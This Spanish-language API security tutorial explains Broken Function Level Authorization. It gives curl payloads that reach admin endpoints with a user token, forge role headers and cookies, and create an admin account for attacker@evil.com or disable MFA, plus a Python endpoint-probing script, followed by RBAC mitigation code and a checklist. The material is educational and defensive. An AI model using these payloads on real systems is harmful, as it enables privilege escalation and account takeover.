Skip to content

Broken Function Level Authorization (BFLA)

CVSS: 8.1 (Alta)
CWE: CWE-639 - Authorization Bypass
Problema: Acceso a funciones administrativas sin autorización


¿Qué es BFLA?

Acceder a funciones/operaciones que debería estar restringidas a roles específicos (admin, moderador, etc).

Ejemplo Simple

Usuario normal puede: listar productos, ver detalles, comprar
Usuario normal NO puede: crear productos, eliminar, ver reportes admin

Vulnerable: Usuario normal accede a /api/admin/create-product

Vectores de Ataque

1. Path Traversal en Endpoints

bash
# Usuario normal intenta acceso admin
curl "https://api.app.com/api/products" \
  -H "Authorization: Bearer user_token"
# Respuesta 200 - Funciona

curl "https://api.app.com/api/admin/products" \
  -H "Authorization: Bearer user_token"
# ¡Respuesta 200 - Debería ser 403!

curl "https://api.app.com/api/admin/delete-user" \
  -H "Authorization: Bearer user_token"
# Eliminación sin permiso

2. Parámetros de Privilegio

bash
# Header con nivel de acceso
curl "https://api.app.com/api/data" \
  -H "X-Admin: false"

# Cambiar a true
curl "https://api.app.com/api/data" \
  -H "X-Admin: true"  # ¡Acceso admin!

# Cookie con rol
curl "https://api.app.com/api/data" \
  -H "Cookie: role=user"

curl "https://api.app.com/api/data" \
  -H "Cookie: role=admin"  # Escalada

3. JWT Tampering

bash
# Token original: role=user
# Decodificar y cambiar a role=admin
# Firmar con la misma clave si la conocemos

4. Hidden Admin Endpoints

bash
# Endpoints no documentados pero funcionales
/api/admin/users
/api/admin/settings
/api/admin/reports
/api/internal/debug
/api/v2/admin/...
/api/dashboard
/api/superadmin/...

# Enumeración
for endpoint in admin users settings reports debug dashboard superadmin; do
  curl -s "https://api.app.com/api/$endpoint" \
    -H "Authorization: Bearer token" -w "%{http_code}\n"
done

Explotación Detallada

Caso 1: Panel Administrativo

bash
# Endpoint de admin no verificado
GET /api/admin/dashboard

Respuesta:
{
  "total_users": 5000,
  "total_revenue": 1000000,
  "pending_reports": 50,
  "settings": {...}
}

# Usuario normal ve todo esto sin permiso

Caso 2: Operaciones de Admin

bash
# Crear usuario admin
curl -X POST "https://api.app.com/api/admin/users" \
  -H "Authorization: Bearer user_token" \
  -d '{
    "email": "attacker@evil.com",
    "password": "password",
    "role": "admin"
  }'

# Respuesta: Usuario admin creado

# Modificar configuración
curl -X PUT "https://api.app.com/api/admin/settings" \
  -H "Authorization: Bearer user_token" \
  -d '{
    "mfa_required": false,
    "login_attempts": 1000,
    "max_upload": "100GB"
  }'

# Eliminar usuarios
curl -X DELETE "https://api.app.com/api/admin/users/100" \
  -H "Authorization: Bearer user_token"

Caso 3: Impersonación

bash
# Como usuario normal, obtener datos de admin
curl "https://api.app.com/api/users/1/admin-profile" \
  -H "Authorization: Bearer user_token"

# Cambiar email del admin
curl -X PUT "https://api.app.com/api/users/1" \
  -H "Authorization: Bearer user_token" \
  -d '{"email": "attacker@evil.com"}'

Detección Automática

python
import requests
import json

def discover_admin_functions(base_url, user_token, admin_token):
    """
    Comparar endpoints accesibles con user vs admin
    """
    
    admin_endpoints = []
    user_accessible = []
    
    endpoints = [
        "/api/admin", "/api/dashboard", "/api/settings",
        "/api/users/manage", "/api/reports", "/api/logs",
        "/api/system", "/api/config", "/api/super-admin"
    ]
    
    print("[*] Probando como usuario normal...")
    for endpoint in endpoints:
        try:
            resp = requests.get(
                f"{base_url}{endpoint}",
                headers={"Authorization": f"Bearer {user_token}"},
                timeout=5
            )
            
            if resp.status_code == 200:
                print(f"[✓] VULNERABLE: Usuario puede acceder a {endpoint}")
                user_accessible.append(endpoint)
        except:
            pass
    
    print(f"\n[!] Total endpoints vulnerables: {len(user_accessible)}")
    for endpoint in user_accessible:
        print(f"    - {endpoint}")

# Ejecutar
discover_admin_functions(
    "https://api.app.com",
    "user_token",
    "admin_token"
)

Mitigación

1. Verificar Rol en Cada Función

python
def require_role(*roles):
    def decorator(f):
        def wrapper(*args, **kwargs):
            token = request.headers.get('Authorization', '').split(' ')[-1]
            user = verify_token(token)
            
            if user.role not in roles:
                return {"error": "Forbidden"}, 403
            
            return f(*args, **kwargs)
        return wrapper
    return decorator

# Uso
@app.route('/api/admin/users')
@require_role('admin')  # Solo admin
def admin_users():
    return jsonify(User.query.all())

@app.route('/api/reports')
@require_role('admin', 'manager')  # Admin o manager
def reports():
    return jsonify(get_reports())

2. RBAC - Role Based Access Control

python
PERMISSIONS = {
    'user': ['read_profile', 'read_products'],
    'manager': ['read_profile', 'read_products', 'manage_orders'],
    'admin': ['*']  # Acceso a todo
}

def require_permission(permission):
    def decorator(f):
        def wrapper(*args, **kwargs):
            user = get_current_user()
            allowed = PERMISSIONS.get(user.role, [])
            
            if permission not in allowed and '*' not in allowed:
                return {"error": "Forbidden"}, 403
            
            return f(*args, **kwargs)
        return wrapper
    return decorator

@app.route('/api/users/delete')
@require_permission('delete_users')
def delete_user():
    ...

3. Endpoint Segregación

python
# Usar blueprints separados
from flask import Blueprint

admin_bp = Blueprint('admin', __name__, url_prefix='/api/admin')
user_bp = Blueprint('user', __name__, url_prefix='/api/user')
public_bp = Blueprint('public', __name__, url_prefix='/api')

@admin_bp.route('/settings', methods=['GET', 'PUT'])
@require_role('admin')
def admin_settings():
    ...

@user_bp.route('/profile')
@require_role('user')
def user_profile():
    ...

@public_bp.route('/products')
def products():
    ...

4. Logging de Accesos No Autorizados

python
import logging

logger = logging.getLogger(__name__)

def check_access(user, resource, action):
    """
    Verificar y loguear acceso
    """
    if not has_permission(user, resource, action):
        logger.warning(f"UNAUTHORIZED: User {user.id} tried {action} on {resource}")
        # Alertar si muchos intentos
        if count_recent_attempts(user.id) > 10:
            notify_security_team(user.id, "Multiple unauthorized access attempts")
        return False
    
    logger.info(f"ACCESS: User {user.id} {action} on {resource}")
    return True

Checklist

  • [ ] Verificar rol en cada endpoint sensible
  • [ ] No confiar en parámetros del cliente (headers, cookies)
  • [ ] No documentar endpoints admin públicamente
  • [ ] Usar RBAC/ABAC en lugar de whitelist débiles
  • [ ] Logging de todos los accesos a funciones admin
  • [ ] Tests de seguridad: intentar acceso con user token
  • [ ] Auditar histórico de endpoints accedidos
  • [ ] Rate limiting en endpoints admin